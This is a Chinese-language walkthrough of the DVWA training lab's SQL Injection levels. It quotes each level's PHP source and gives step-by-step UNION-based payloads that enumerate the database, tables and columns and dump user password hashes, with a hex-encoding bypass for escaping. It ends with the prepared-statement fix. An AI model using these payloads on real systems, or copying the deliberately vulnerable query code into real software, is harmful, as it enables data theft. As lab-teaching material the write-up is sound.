DVWA靶场之SQL Injection通关
SQL注入，一个大概的手工流程：
- 判断是否有注入，什么类型
- 破解SQL语句中查询的字段数是多少
- 确定回显位置
- 破库
- 破表
- 破字段
- 获得内容
Low：
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
没有任何过滤就带入查询
手工注入测试，标准流程化操作
输入1，成功并返回结果
输入1' 报错，提示得知是字符型注入
1' order by 16# 测试，报错，减半再试，直到1' order by 2 #不报错，字段数2
1' union select 1,2 # 回显两个点
1' union select 1,database() # 查库
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查字段
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users # 查数据
www.cmd5.com破解一下密码
Medium：
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
界面变成了下拉表单，还有mysqli_real_escape_string转义
用burp suite抓包改包，改id的值即可，与low级别思想一样的，一套连招
有一个区别，由于有了转义，low级别用的’users’这种带引号的必不可能用了，可以将users ASCII hex编码一波0x7573657273
High：
界面又变了
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
LIMIT 1限制了输出只有1个结果，可注释掉
思路和前面一致
1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
另：经提醒，两个界面分离，可干扰sqlmap注入
Impossible：
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
PDO还是很有用的
